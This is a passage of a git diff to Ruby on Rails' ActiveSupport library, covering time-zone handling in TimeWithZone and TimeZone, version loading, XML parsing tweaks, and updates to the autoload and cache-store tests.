         formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
       else
-        "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby 1.9 Time#to_s format
+        "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby Time#to_s format
       end
     end
     alias_method :to_formatted_s, :to_s
 
-    # Replaces <tt>%Z</tt> and <tt>%z</tt> directives with +zone+ and
-    # +formatted_offset+, respectively, before passing to Time#strftime, so
-    # that zone information is correct
+    # Replaces <tt>%Z</tt> directive with +zone before passing to Time#strftime,
+    # so that zone information is correct.
     def strftime(format)
-      format = format.gsub('%Z', zone)
-                     .gsub('%z',   formatted_offset(false))
-                     .gsub('%:z',  formatted_offset(true))
-                     .gsub('%::z', formatted_offset(true) + ":00")
-      time.strftime(format)
+      format = format.gsub(/((?:\A|[^%])(?:%%)*)%Z/, "\\1#{zone}")
+      getlocal(utc_offset).strftime(format)
     end
 
     # Use the time in UTC for comparisons.
@@ -244,9 +252,23 @@ module ActiveSupport
       utc.hash
     end
 
+    # Adds an interval of time to the current object's time and return that
+    # value as a new TimeWithZone object.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+    #   now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28 EDT -04:00
+    #   now + 1000          # => Sun, 02 Nov 2014 01:43:08 EDT -04:00
+    #
+    # If we're adding a Duration of variable length (i.e., years, months, days),
+    # move forward from #time, otherwise move forward from #utc, for accuracy
+    # when moving across DST boundaries.
+    #
+    # For instance, a time + 24.hours will advance exactly 24 hours, while a
+    # time + 1.day will advance 23-25 hours, depending on the day.
+    #
+    #   now + 24.hours      # => Mon, 03 Nov 2014 00:26:28 EST -05:00
+    #   now + 1.day         # => Mon, 03 Nov 2014 01:26:28 EST -05:00
     def +(other)
-      # If we're adding a Duration of variable length (i.e., years, months, days), move forward from #time,
-      # otherwise move forward from #utc, for accuracy when moving across DST boundaries
       if duration_of_variable_length?(other)
         method_missing(:+, other)
       else
@@ -254,12 +276,27 @@ module ActiveSupport
         result.in_time_zone(time_zone)
       end
     end
+    alias_method :since, :+
 
+    # Returns a new TimeWithZone object that represents the difference between
+    # the current object's time and the +other+ time.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+    #   now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28 EST -05:00
+    #   now - 1000          # => Sun, 02 Nov 2014 01:09:48 EST -05:00
+    #
+    # If subtracting a Duration of variable length (i.e., years, months, days),
+    # move backward from #time, otherwise move backward from #utc, for accuracy
+    # when moving across DST boundaries.
+    #
+    # For instance, a time - 24.hours will go subtract exactly 24 hours, while a
+    # time - 1.day will subtract 23-25 hours, depending on the day.
+    #
+    #   now - 24.hours      # => Sat, 01 Nov 2014 02:26:28 EDT -04:00
+    #   now - 1.day         # => Sat, 01 Nov 2014 01:26:28 EDT -04:00
     def -(other)
-      # If we're subtracting a Duration of variable length (i.e., years, months, days), move backwards from #time,
-      # otherwise move backwards #utc, for accuracy when moving across DST boundaries
       if other.acts_like?(:time)
-        utc.to_f - other.to_f
+        to_time - other.to_time
       elsif duration_of_variable_length?(other)
         method_missing(:-, other)
       else
@@ -268,16 +305,6 @@ module ActiveSupport
       end
     end
 
-    def since(other)
-      # If we're adding a Duration of variable length (i.e., years, months, days), move forward from #time,
-      # otherwise move forward from #utc, for accuracy when moving across DST boundaries
-      if duration_of_variable_length?(other)
-        method_missing(:since, other)
-      else
-        utc.since(other).in_time_zone(time_zone)
-      end
-    end
-
     def ago(other)
       since(-other)
     end
@@ -304,15 +331,27 @@ module ActiveSupport
       [time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone]
     end
 
+    # Returns the object's date and time as a floating point number of seconds
+    # since the Epoch (January 1, 1970 00:00 UTC).
+    #
+    #   Time.zone.now.to_f # => 1417709320.285418
     def to_f
       utc.to_f
     end
 
+    # Returns the object's date and time as an integer number of seconds
+    # since the Epoch (January 1, 1970 00:00 UTC).
+    #
+    #   Time.zone.now.to_i # => 1417709320
     def to_i
       utc.to_i
     end
     alias_method :tv_sec, :to_i
 
+    # Returns the object's date and time as a rational number of seconds
+    # since the Epoch (January 1, 1970 00:00 UTC).
+    #
+    #   Time.zone.now.to_r # => (708854548642709/500000)
     def to_r
       utc.to_r
     end
@@ -350,6 +389,14 @@ module ActiveSupport
       initialize(variables[0].utc, ::Time.find_zone(variables[1]), variables[2].utc)
     end
 
+    # respond_to_missing? is not called in some cases, such as when type conversion is
+    # performed with Kernel#String
+    def respond_to?(sym, include_priv = false)
+      # ensure that we're not going to throw and rescue from NoMethodError in method_missing which is slow
+      return false if sym.to_sym == :to_str
+      super
+    end
+
     # Ensure proxy class responds to all methods that underlying time instance
     # responds to.
     def respond_to_missing?(sym, include_priv)
@@ -367,12 +414,12 @@ module ActiveSupport
     end
 
     private
-      def get_period_and_ensure_valid_local_time
+      def get_period_and_ensure_valid_local_time(period)
         # we don't want a Time.local instance enforcing its own DST rules as well,
         # so transfer time values to a utc constructor if necessary
         @time = transfer_time_values_to_utc_constructor(@time) unless @time.utc?
         begin
-          @time_zone.period_for_local(@time)
+          period || @time_zone.period_for_local(@time)
         rescue ::TZInfo::PeriodNotFound
           # time is in the "spring forward" hour gap, so we're moving the time forward one hour and trying again
           @time += 1.hour
@@ -390,7 +437,8 @@ module ActiveSupport
 
       def wrap_with_time_zone(time)
         if time.acts_like?(:time)
-          self.class.new(nil, time_zone, time)
+          periods = time_zone.periods_for_local(time)
+          self.class.new(nil, time_zone, time, periods.include?(period) ? period : nil)
         elsif time.is_a?(Range)
           wrap_with_time_zone(time.begin)..wrap_with_time_zone(time.end)
         else
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index 3cf82a24b9..da39f0d245 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -1,3 +1,5 @@
+require 'tzinfo'
+require 'thread_safe'
 require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/object/try'
 
@@ -109,9 +111,11 @@ module ActiveSupport
       "Jerusalem"                    => "Asia/Jerusalem",
       "Harare"                       => "Africa/Harare",
       "Pretoria"                     => "Africa/Johannesburg",
+      "Kaliningrad"                  => "Europe/Kaliningrad",
       "Moscow"                       => "Europe/Moscow",
       "St. Petersburg"               => "Europe/Moscow",
-      "Volgograd"                    => "Europe/Moscow",
+      "Volgograd"                    => "Europe/Volgograd",
+      "Samara"                       => "Europe/Samara",
       "Kuwait"                       => "Asia/Kuwait",
       "Riyadh"                       => "Asia/Riyadh",
       "Nairobi"                      => "Africa/Nairobi",
@@ -168,6 +172,7 @@ module ActiveSupport
       "Guam"                         => "Pacific/Guam",
       "Port Moresby"                 => "Pacific/Port_Moresby",
       "Magadan"                      => "Asia/Magadan",
+      "Srednekolymsk"                => "Asia/Srednekolymsk",
       "Solomon Is."                  => "Pacific/Guadalcanal",
       "New Caledonia"                => "Pacific/Noumea",
       "Fiji"                         => "Pacific/Fiji",
@@ -182,18 +187,77 @@ module ActiveSupport
     }
 
     UTC_OFFSET_WITH_COLON = '%s%02d:%02d'
-    UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.sub(':', '')
+    UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.tr(':', '')
 
-    # Assumes self represents an offset from UTC in seconds (as returned from
-    # Time#utc_offset) and turns this into an +HH:MM formatted string.
-    #
-    #   TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00"
-    def self.seconds_to_utc_offset(seconds, colon = true)
-      format = colon ? UTC_OFFSET_WITH_COLON : UTC_OFFSET_WITHOUT_COLON
-      sign = (seconds < 0 ? '-' : '+')
-      hours = seconds.abs / 3600
-      minutes = (seconds.abs % 3600) / 60
-      format % [sign, hours, minutes]
+    @lazy_zones_map = ThreadSafe::Cache.new
+
+    class << self
+      # Assumes self represents an offset from UTC in seconds (as returned from
+      # Time#utc_offset) and turns this into an +HH:MM formatted string.
+      #
+      #   TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00"
+      def seconds_to_utc_offset(seconds, colon = true)
+        format = colon ? UTC_OFFSET_WITH_COLON : UTC_OFFSET_WITHOUT_COLON
+        sign = (seconds < 0 ? '-' : '+')
+        hours = seconds.abs / 3600
+        minutes = (seconds.abs % 3600) / 60
+        format % [sign, hours, minutes]
+      end
+
+      def find_tzinfo(name)
+        TZInfo::Timezone.new(MAPPING[name] || name)
+      end
+
+      alias_method :create, :new
+
+      # Returns a TimeZone instance with the given name, or +nil+ if no
+      # such TimeZone instance exists. (This exists to support the use of
+      # this class with the +composed_of+ macro.)
+      def new(name)
+        self[name]
+      end
+
+      # Returns an array of all TimeZone objects. There are multiple
+      # TimeZone objects per time zone, in many cases, to make it easier
+      # for users to find their own time zone.
+      def all
+        @zones ||= zones_map.values.sort
+      end
+
+      # Locate a specific time zone object. If the argument is a string, it
+      # is interpreted to mean the name of the timezone to locate. If it is a
+      # numeric value it is either the hour offset, or the second offset, of the
+      # timezone to find. (The first one with that offset will be returned.)
+      # Returns +nil+ if no such time zone is known to the system.
+      def [](arg)
+        case arg
+          when String
+          begin
+            @lazy_zones_map[arg] ||= create(arg)
+          rescue TZInfo::InvalidTimezoneIdentifier
+            nil
+          end
+          when Numeric, ActiveSupport::Duration
+            arg *= 3600 if arg.abs <= 13
+            all.find { |z| z.utc_offset == arg.to_i }
+          else
+            raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
+        end
+      end
+
+      # A convenience method for returning a collection of TimeZone objects
+      # for time zones in the USA.
+      def us_zones
+        @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
+      end
+
+      private
+        def zones_map
+          @zones_map ||= begin
+            MAPPING.each_key {|place| self[place]} # load all the zones
+            @lazy_zones_map
+          end
+        end
     end
 
     include Comparable
@@ -205,8 +269,6 @@ module ActiveSupport
     # (GMT). Seconds were chosen as the offset unit because that is the unit
     # that Ruby uses to represent time zone offsets (see Time#utc_offset).
     def initialize(name, utc_offset = nil, tzinfo = nil)
-      self.class.send(:require_tzinfo)
-
       @name = name
       @utc_offset = utc_offset
       @tzinfo = tzinfo || TimeZone.find_tzinfo(name)
@@ -218,8 +280,8 @@ module ActiveSupport
       if @utc_offset
         @utc_offset
       else
-        @current_period ||= tzinfo.try(:current_period)
-        @current_period.try(:utc_offset)
+        @current_period ||= tzinfo.current_period if tzinfo
+        @current_period.utc_offset if @current_period
       end
     end
 
@@ -232,6 +294,7 @@ module ActiveSupport
     # Compare this time zone to the parameter. The two are compared first on
     # their offsets, and then by name.
     def <=>(zone)
+      return unless zone.respond_to? :utc_offset
       result = (utc_offset <=> zone.utc_offset)
       result = (name <=> zone.name) if result == 0
       result
@@ -279,14 +342,19 @@ module ActiveSupport
     #
     #   Time.zone.now               # => Fri, 31 Dec 1999 14:00:00 HST -10:00
     #   Time.zone.parse('22:30:00') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
-    def parse(str, now=now)
+    #
+    # However, if the date component is not provided, but any other upper
+    # components are supplied, then the day of the month defaults to 1:
+    #
+    #   Time.zone.parse('Mar 2000') # => Wed, 01 Mar 2000 00:00:00 HST -10:00
+    def parse(str, now=now())
       parts = Date._parse(str, false)
       return if parts.empty?
 
       time = Time.new(
         parts.fetch(:year, now.year),
         parts.fetch(:mon, now.month),
-        parts.fetch(:mday, now.day),
+        parts.fetch(:mday, parts[:year] || parts[:mon] ? 1 : now.day),
         parts.fetch(:hour, 0),
         parts.fetch(:min, 0),
         parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
@@ -314,6 +382,16 @@ module ActiveSupport
       tzinfo.now.to_date
     end
 
+    # Returns the next date in this time zone.
+    def tomorrow
+      today + 1
+    end
+
+    # Returns the previous date in this time zone.
+    def yesterday
+      today - 1
+    end
+
     # Adjust the given time to the simultaneous time in the time zone
     # represented by +self+. Returns a Time.utc() instance -- if you want an
     # ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
@@ -339,91 +417,13 @@ module ActiveSupport
       tzinfo.period_for_local(time, dst)
     end
 
-    def self.find_tzinfo(name)
-      TZInfo::TimezoneProxy.new(MAPPING[name] || name)
-    end
-
-    class << self
-      alias_method :create, :new
-
-      # Return a TimeZone instance with the given name, or +nil+ if no
-      # such TimeZone instance exists. (This exists to support the use of
-      # this class with the +composed_of+ macro.)
-      def new(name)
-        self[name]
-      end
-
-      # Return an array of all TimeZone objects. There are multiple
-      # TimeZone objects per time zone, in many cases, to make it easier
-      # for users to find their own time zone.
-      def all
-        @zones ||= zones_map.values.sort
-      end
-
-      def zones_map
-        @zones_map ||= begin
-          new_zones_names = MAPPING.keys - lazy_zones_map.keys
-          new_zones       = Hash[new_zones_names.map { |place| [place, create(place)] }]
-
-          lazy_zones_map.merge(new_zones)
-        end
-      end
-
-      # Locate a specific time zone object. If the argument is a string, it
-      # is interpreted to mean the name of the timezone to locate. If it is a
-      # numeric value it is either the hour offset, or the second offset, of the
-      # timezone to find. (The first one with that offset will be returned.)
-      # Returns +nil+ if no such time zone is known to the system.
-      def [](arg)
-        case arg
-          when String
-          begin
-            lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset }
-          rescue TZInfo::InvalidTimezoneIdentifier
-            nil
-          end
-          when Numeric, ActiveSupport::Duration
-            arg *= 3600 if arg.abs <= 13
-            all.find { |z| z.utc_offset == arg.to_i }
-          else
-            raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
-        end
-      end
-
-      # A convenience method for returning a collection of TimeZone objects
-      # for time zones in the USA.
-      def us_zones
-        @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
-      end
-
-      protected
-
-        def require_tzinfo
-          require 'tzinfo' unless defined?(::TZInfo)
-        rescue LoadError
-          $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install"
-          raise
-        end
-
-      private
-
-        def lookup(name)
-          (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze)
-        end
-
-        def lazy_zones_map
-          require_tzinfo
-
-          @lazy_zones_map ||= Hash.new do |hash, place|
-            hash[place] = create(place) if MAPPING.has_key?(place)
-          end
-        end
+    def periods_for_local(time) #:nodoc:
+      tzinfo.periods_for_local(time)
     end
 
     private
-
-    def time_now
-      Time.now
-    end
+      def time_now
+        Time.now
+      end
   end
 end
diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat
index 2571faa019..760be4c07a 100644
--- a/activesupport/lib/active_support/values/unicode_tables.dat
+++ b/activesupport/lib/active_support/values/unicode_tables.dat
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
index 8762330a6e..fe03984546 100644
--- a/activesupport/lib/active_support/version.rb
+++ b/activesupport/lib/active_support/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActiveSupport
-  # Returns the version of the currently loaded ActiveSupport as a Gem::Version
+  # Returns the version of the currently loaded ActiveSupport as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.1.0.beta"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActiveSupport.version.segments
-    STRING = ActiveSupport.version.to_s
+    gem_version
   end
 end
diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb
index d082a0a499..009ee4db90 100644
--- a/activesupport/lib/active_support/xml_mini.rb
+++ b/activesupport/lib/active_support/xml_mini.rb
@@ -1,7 +1,9 @@
 require 'time'
 require 'base64'
+require 'bigdecimal'
 require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/date_time/calculations'
 
 module ActiveSupport
   # = XmlMini
@@ -56,13 +58,13 @@ module ActiveSupport
     # TODO use regexp instead of Date.parse
     unless defined?(PARSING)
       PARSING = {
-        "symbol"       => Proc.new { |symbol|  symbol.to_sym },
+        "symbol"       => Proc.new { |symbol|  symbol.to_s.to_sym },
         "date"         => Proc.new { |date|    ::Date.parse(date) },
         "datetime"     => Proc.new { |time|    Time.xmlschema(time).utc rescue ::DateTime.parse(time).utc },
         "integer"      => Proc.new { |integer| integer.to_i },
         "float"        => Proc.new { |float|   float.to_f },
         "decimal"      => Proc.new { |number|  BigDecimal(number) },
-        "boolean"      => Proc.new { |boolean| %w(1 true).include?(boolean.strip) },
+        "boolean"      => Proc.new { |boolean| %w(1 true).include?(boolean.to_s.strip) },
         "string"       => Proc.new { |string|  string.to_s },
         "yaml"         => Proc.new { |yaml|    YAML::load(yaml) rescue yaml },
         "base64Binary" => Proc.new { |bin|     ::Base64.decode64(bin) },
diff --git a/activesupport/lib/active_support/xml_mini/jdom.rb b/activesupport/lib/active_support/xml_mini/jdom.rb
index 27c64c4dca..f303daa1a7 100644
--- a/activesupport/lib/active_support/xml_mini/jdom.rb
+++ b/activesupport/lib/active_support/xml_mini/jdom.rb
@@ -141,7 +141,7 @@ module ActiveSupport
       (0...attributes.length).each do |i|
          attribute_hash[CONTENT_KEY] ||= ''
          attribute_hash[attributes.item(i).name] =  attributes.item(i).value
-       end
+      end
       attribute_hash
     end
 
diff --git a/activesupport/lib/active_support/xml_mini/libxml.rb b/activesupport/lib/active_support/xml_mini/libxml.rb
index 47a2824186..bb0ea9c582 100644
--- a/activesupport/lib/active_support/xml_mini/libxml.rb
+++ b/activesupport/lib/active_support/xml_mini/libxml.rb
@@ -75,5 +75,5 @@ module LibXML #:nodoc:
   end
 end
 
-LibXML::XML::Document.send(:include, LibXML::Conversions::Document)
-LibXML::XML::Node.send(:include, LibXML::Conversions::Node)
+LibXML::XML::Document.include(LibXML::Conversions::Document)
+LibXML::XML::Node.include(LibXML::Conversions::Node)
diff --git a/activesupport/lib/active_support/xml_mini/nokogiri.rb b/activesupport/lib/active_support/xml_mini/nokogiri.rb
index 7398d4fa82..619cc7522d 100644
--- a/activesupport/lib/active_support/xml_mini/nokogiri.rb
+++ b/activesupport/lib/active_support/xml_mini/nokogiri.rb
@@ -77,7 +77,7 @@ module ActiveSupport
       end
     end
 
-    Nokogiri::XML::Document.send(:include, Conversions::Document)
-    Nokogiri::XML::Node.send(:include, Conversions::Node)
+    Nokogiri::XML::Document.include(Conversions::Document)
+    Nokogiri::XML::Node.include(Conversions::Node)
   end
 end
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
index 65de48a7f6..f65ec962f9 100644
--- a/activesupport/test/abstract_unit.rb
+++ b/activesupport/test/abstract_unit.rb
@@ -15,7 +15,6 @@ silence_warnings do
 end
 
 require 'active_support/testing/autorun'
-require 'empty_bool'
 
 ENV['NO_RELOAD'] = '1'
 require 'active_support'
@@ -25,6 +24,9 @@ Thread.abort_on_exception = true
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
 # Skips the current run on Rubinius using Minitest::Assertions#skip
 def rubinius_skip(message = '')
   skip message if RUBY_ENGINE == 'rbx'
@@ -32,5 +34,12 @@ end
 
 # Skips the current run on JRuby using Minitest::Assertions#skip
 def jruby_skip(message = '')
-  skip message if RUBY_ENGINE == 'jruby'
+  skip message if defined?(JRUBY_VERSION)
 end
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/activesupport/test/autoload_test.rb b/activesupport/test/autoload_test.rb
index 7d02d835a8..c18b007612 100644
--- a/activesupport/test/autoload_test.rb
+++ b/activesupport/test/autoload_test.rb
@@ -11,6 +11,11 @@ class TestAutoloadModule < ActiveSupport::TestCase
     end
   end
 
+  def setup
+    @some_class_path = File.expand_path("test/fixtures/autoload/some_class.rb")
+    @another_class_path = File.expand_path("test/fixtures/autoload/another_class.rb")
+  end
+
   test "the autoload module works like normal autoload" do
     module ::Fixtures::Autoload
       autoload :SomeClass, "fixtures/autoload/some_class"
@@ -21,10 +26,12 @@ class TestAutoloadModule < ActiveSupport::TestCase
 
   test "when specifying an :eager constant it still works like normal autoload by default" do
     module ::Fixtures::Autoload
-      autoload :SomeClass, "fixtures/autoload/some_class"
+      eager_autoload do
+        autoload :SomeClass, "fixtures/autoload/some_class"
+      end
     end
 
-    assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
+    assert !$LOADED_FEATURES.include?(@some_class_path)
     assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
   end
 
@@ -33,16 +40,20 @@ class TestAutoloadModule < ActiveSupport::TestCase
       autoload :SomeClass
     end
 
-    assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
+    assert !$LOADED_FEATURES.include?(@some_class_path)
     assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
   end
 
   test "the location of :eager autoloaded constants defaults to :name.underscore" do
     module ::Fixtures::Autoload
-      autoload :SomeClass
+      eager_autoload do
+        autoload :SomeClass
+      end
     end
 
+    assert !$LOADED_FEATURES.include?(@some_class_path)
     ::Fixtures::Autoload.eager_load!
+    assert $LOADED_FEATURES.include?(@some_class_path)
     assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
   end
 
@@ -53,7 +64,7 @@ class TestAutoloadModule < ActiveSupport::TestCase
       end
     end
 
-    assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
+    assert !$LOADED_FEATURES.include?(@another_class_path)
     assert_nothing_raised { ::Fixtures::AnotherClass }
   end
 
@@ -64,7 +75,7 @@ class TestAutoloadModule < ActiveSupport::TestCase
       end
     end
 
-    assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
+    assert !$LOADED_FEATURES.include?(@another_class_path)
     assert_nothing_raised { ::Fixtures::AnotherClass }
   end
 end
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/typo.rb b/activesupport/test/autoloading_fixtures/typo.rb
new file mode 100644
index 0000000000..8e047f5fd4
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/typo.rb
@@ -0,0 +1,2 @@
+TypO = 1
+
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
index df570d485a..98f3ea7a14 100644
--- a/activesupport/test/caching_test.rb
+++ b/activesupport/test/caching_test.rb
@@ -3,6 +3,42 @@ require 'abstract_unit'
 require 'active_support/cache'
 require 'dependencies_test_helpers'
 
+module ActiveSupport
+  module Cache
+    module Strategy
+      module LocalCache
+        class MiddlewareTest < ActiveSupport::TestCase
+          def test_local_cache_cleared_on_close
+            key = "super awesome key"
+            assert_nil LocalCacheRegistry.cache_for key
+            middleware = Middleware.new('<3', key).new(->(env) {
+              assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+              [200, {}, []]
+            })
+            _, _, body = middleware.call({})
+            assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+            body.each { }
+            assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+            body.close
+            assert_nil LocalCacheRegistry.cache_for(key)
+          end
+
+          def test_local_cache_cleared_on_exception
+            key = "super awesome key"
+            assert_nil LocalCacheRegistry.cache_for key
+            middleware = Middleware.new('<3', key).new(->(env) {
+              assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+              raise
+            })
+            assert_raises(RuntimeError) { middleware.call({}) }
+            assert_nil LocalCacheRegistry.cache_for(key)
+          end
+        end
+      end
+    end
+  end
+end
+
 class CacheKeyTest < ActiveSupport::TestCase
   def test_entry_legacy_optional_ivars
     legacy = Class.new(ActiveSupport::Cache::Entry) do
@@ -24,36 +60,25 @@ class CacheKeyTest < ActiveSupport::TestCase
   end
 
   def test_expand_cache_key_with_rails_cache_id
-    begin
-      ENV['RAILS_CACHE_ID'] = 'c99'
+    with_env('RAILS_CACHE_ID' => 'c99') do
       assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key(:foo)
       assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key([:foo])
       assert_equal 'c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar])
       assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key(:foo, :nm)
       assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key([:foo], :nm)
       assert_equal 'nm/c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
-    ensure
-      ENV['RAILS_CACHE_ID'] = nil
     end
   end
 
   def test_expand_cache_key_with_rails_app_version
-    begin
-      ENV['RAILS_APP_VERSION'] = 'rails3'
+    with_env('RAILS_APP_VERSION' => 'rails3') do
       assert_equal 'rails3/foo', ActiveSupport::Cache.expand_cache_key(:foo)
-    ensure
-      ENV['RAILS_APP_VERSION'] = nil
     end
   end
 
   def test_expand_cache_key_rails_cache_id_should_win_over_rails_app_version
-    begin
-      ENV['RAILS_CACHE_ID'] = 'c99'
-      ENV['RAILS_APP_VERSION'] = 'rails3'
+    with_env('RAILS_CACHE_ID' => 'c99', 'RAILS_APP_VERSION' => 'rails3') do
       assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key(:foo)
-    ensure
-      ENV['RAILS_CACHE_ID'] = nil
-      ENV['RAILS_APP_VERSION'] = nil
     end
   end
 
@@ -88,6 +113,16 @@ class CacheKeyTest < ActiveSupport::TestCase
   def test_expand_cache_key_of_array_like_object
     assert_equal 'foo/bar/baz', ActiveSupport::Cache.expand_cache_key(%w{foo bar baz}.to_enum)
   end
+
+  private
+
+  def with_env(kv)
+    old_values = {}
+    kv.each { |key, value| old_values[key], ENV[key] = ENV[key], value }
+    yield
+  ensure
+    old_values.each { |key, value| ENV[key] = value}
+  end
 end
 
 class CacheStoreSettingTest < ActiveSupport::TestCase
@@ -110,12 +145,12 @@ class CacheStoreSettingTest < ActiveSupport::TestCase
     assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
   end
 
-  def test_mem_cache_fragment_cache_store_with_given_mem_cache_like_object
+  def test_mem_cache_fragment_cache_store_with_not_dalli_client
     Dalli::Client.expects(:new).never
     memcache = Object.new
-    def memcache.get() true end
-    store = ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
-    assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+    assert_raises(ArgumentError) do
+      ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
+    end
   end
 
   def test_mem_cache_fragment_cache_store_with_multiple_servers
@@ -261,20 +296,21 @@ module CacheStoreBehavior
     @cache.write('foo', 'bar')
     @cache.write('fud', 'biz')
 
-    values = @cache.fetch_multi('foo', 'fu', 'fud') {|value| value * 2 }
+    values = @cache.fetch_multi('foo', 'fu', 'fud') { |value| value * 2 }
 
-    assert_equal(["bar", "fufu", "biz"], values)
-    assert_equal("fufu", @cache.read('fu'))
+    assert_equal({ 'foo' => 'bar', 'fu' => 'fufu', 'fud' => 'biz' }, values)
+    assert_equal('fufu', @cache.read('fu'))
   end
 
   def test_multi_with_objects
-    foo = stub(:title => "FOO!", :cache_key => "foo")
-    bar = stub(:cache_key => "bar")
+    foo = stub(:title => 'FOO!', :cache_key => 'foo')
+    bar = stub(:cache_key => 'bar')
+
+    @cache.write('bar', 'BAM!')
 
-    @cache.write('bar', "BAM!")
+    values = @cache.fetch_multi(foo, bar) { |object| object.title }
 
-    values = @cache.fetch_multi(foo, bar) {|object| object.title }
-    assert_equal(["FOO!", "BAM!"], values)
+    assert_equal({ foo => 'FOO!', bar => 'BAM!' }, values)
   end
 
   def test_read_and_write_compressed_small_data
@@ -577,6 +613,7 @@ module LocalCacheBehavior
       result = @cache.write('foo', 'bar')
       assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
       assert result
+      [200, {}, []]
     }
     app = @cache.middleware.new(app)
     app.call({})
@@ -654,6 +691,11 @@ class FileStoreTest < ActiveSupport::TestCase
     assert File.exist?(filepath)
   end
 
+  def test_long_keys
+    @cache.write("a"*10000, 1)
+    assert_equal 1, @cache.read("a"*10000)
+  end
+
   def test_key_transformation
     key = @cache.send(:key_file_path, "views/index?id=1")
     assert_equal "views/index?id=1", @cache.send(:file_path_key, key)
@@ -709,6 +751,25 @@ class FileStoreTest < ActiveSupport::TestCase
     @cache.send(:read_entry, "winston", {})
     assert @buffer.string.present?
   end
+
+  def test_cleanup_removes_all_expired_entries
+    time = Time.now
+    @cache.write('foo', 'bar', expires_in: 10)
+    @cache.write('baz', 'qux')
+    @cache.write('quux', 'corge', expires_in: 20)
+    Time.stubs(:now).returns(time + 15)
+    @cache.cleanup
+    assert_not @cache.exist?('foo')
+    assert @cache.exist?('baz')
+    assert @cache.exist?('quux')
+  end
+
+  def test_write_with_unless_exist
+    assert_equal true, @cache.write(1, "aaaaaaaaaa")
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+    @cache.write(1, nil)
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+  end
 end
 
 class MemoryStoreTest < ActiveSupport::TestCase
@@ -878,8 +939,8 @@ class MemCacheStoreTest < ActiveSupport::TestCase
 
   def test_read_should_return_a_different_object_id_each_time_it_is_called
     @cache.write('foo', 'bar')
-    assert_not_equal @cache.read('foo').object_id, @cache.read('foo').object_id
     value = @cache.read('foo')
+    assert_not_equal value.object_id, @cache.read('foo').object_id
     value << 'bingo'
     assert_not_equal value, @cache.read('foo')
   end
@@ -986,30 +1047,4 @@ class CacheEntryTest < ActiveSupport::TestCase
     assert_equal value, entry.value
